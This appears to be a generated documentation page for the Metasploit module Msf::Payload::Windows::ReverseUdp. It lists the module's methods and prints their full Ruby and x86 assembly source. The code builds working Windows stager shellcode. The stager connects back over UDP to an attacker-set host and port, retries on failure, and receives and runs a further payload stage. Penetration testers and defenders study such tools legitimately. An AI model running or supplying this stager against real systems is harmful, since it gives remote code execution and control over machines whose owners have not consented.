Module: Msf::Payload::Windows::ReverseUdp

Includes:
TransportConfig, ReverseTcp
Defined in:
lib/msf/core/payload/windows/reverse_udp.rb

Overview

Complex reverse_udp payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from ReverseTcp

#asm_block_recv, #asm_reverse_tcp, #generate_reverse_tcp, #include_send_uuid, #initialize, #required_space

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_reverse_udp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Fixnum)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :retry_count (Fixnum)

    Number of retry attempts



63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 63

def asm_reverse_udp(opts={})

  retry_count  = [opts[:retry_count].to_i, 1].max
  encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
  encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the socket for the connection to the server
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    reverse_udp:
      push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 'ws2_'             ; ...
      push esp                ; Push a pointer to the "ws2_32" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call ebp                ; LoadLibraryA( "ws2_32" )

      mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
      sub esp, eax            ; alloc some space for the WSAData structure
      push esp                ; push a pointer to this struct
      push eax                ; push the wVersionRequested parameter
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call ebp                ; WSAStartup( 0x0190, &WSAData );

    set_address:
      push #{retry_count}     ; retry counter

    create_socket:
      push #{encoded_host}    ; host in little-endian format - #{opts[:host]}
      push #{encoded_port}    ; family AF_INET and port number - #{opts[:port]}
      mov esi, esp            ; save pointer to sockaddr struct

      push eax                ; if we succeed, eax will be zero, push zero for the flags param.
      push eax                ; push null for reserved parameter
      push eax                ; we do not specify a WSAPROTOCOL_INFO structure
      push eax                ; we do not specify a protocol
      inc eax                 ;
      inc eax                 ;
      push eax                ; push SOCK_DGRAM (UDP socket)
      push eax                ; push AF_INET
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call ebp                ; WSASocketA( AF_INET, SOCK_DGRAM, 0, 0, 0, 0 );
      xchg edi, eax           ; save the socket for later, don't care about the value of eax after this

    try_connect:
      push 16                 ; length of the sockaddr struct
      push esi                ; pointer to the sockaddr struct
      push edi                ; the socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
      call ebp                ; connect( s, &sockaddr, 16 );

      test eax,eax            ; non-zero means a failure
      jz connected

    handle_connect_failure:
      ; decrement our attempt count and try again
      dec [esi+8]
      jnz try_connect
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call ebp
    ^
  end

  asm << %Q^
    ; this label is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
  ^

  # UDP receivers need to read something from the new socket
  if include_send_uuid
    asm << asm_send_uuid
  else
    asm << asm_send_newline
  end

  asm
end

#asm_send_newlineObject



153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 153

def asm_send_newline
  newline = raw_to_db "\n"
  asm =%Q^
    send_newline:
      push 0                 ; flags
      push #{newline.length} ; length of the newline
      call get_nl_address    ; put newline buffer on the stack
      db #{newline}          ; newline
    get_nl_address:
      push edi               ; saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
      call ebp               ; call send
  ^
  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 19

def generate(_opts = {})
  conf = {
    port:        datastore['LPORT'],
    host:        datastore['LHOST'],
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_udp(conf)
end

#generate_reverse_udp(opts = {}) ⇒ Object

Generate and compile the stager



43
44
45
46
47
48
49
50
51
52
53
54
# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 43

def generate_reverse_udp(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_udp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#transport_config(opts = {}) ⇒ Object



36
37
38
# File 'lib/msf/core/payload/windows/reverse_udp.rb', line 36

def transport_config(opts={})
  transport_config_reverse_udp(opts)
end